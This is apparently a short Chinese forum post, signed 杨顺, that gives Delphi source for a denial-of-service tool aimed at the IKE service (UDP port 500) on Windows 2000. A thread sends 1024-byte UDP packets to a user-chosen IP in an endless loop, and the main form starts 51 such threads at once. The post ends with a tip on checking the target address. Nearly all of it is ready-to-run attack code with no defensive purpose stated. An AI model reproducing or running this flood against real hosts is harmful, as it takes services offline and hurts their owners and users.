程序如下:
线程程序://线程的执行代码,创建线程请用菜单new一个TheadObject
uses winsock;
procedure udpdos.Execute;
var
wsa:TWSAData;
s: TSocket;
sockin: TSockAddrIn;
buf:array[0..1023] of byte;
i: integer;
DIP:string;
begin
{ Place thread code here }
//win2000下利用ike(udp 500)的DOS攻击
//by 杨顺
FreeOnTerminate := true;
//destIP是主Form里面上,就是要攻击的对象,在主Form里面申明一个这样的变量就可以了
DIP := DestIP;
//填充buf
for i := 0 to 1023 do
buf[i] := 97;
//初始化socket2
WSAStartup($101,wsa);
//创建udp socket
s := socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sockin.sin_family := AF_INET;
sockin.sin_port := htons(IKE);
sockin.sin_addr.S_addr := inet_addr(pchar(DIP));
while true do
begin
if self.Terminated then
break;
//发送数据报
sendto(s,buf,1024,0,sockin,sizeof(sockin));
end;
closesocket(s);
WSACleanup;
end;
主form里面,调用
for i := 0 to 50 do
begin
udpdos.Create(false); //创建50多个线程,进行攻击
end;
顺便提一下,坚持用户输入的ip是否合法,一句话就可以了
uses winsock
if inet_addr(pchar(DestIP)) = inaddr_none then
begin
showmessage('输入的IP地址错误');
exit;
end;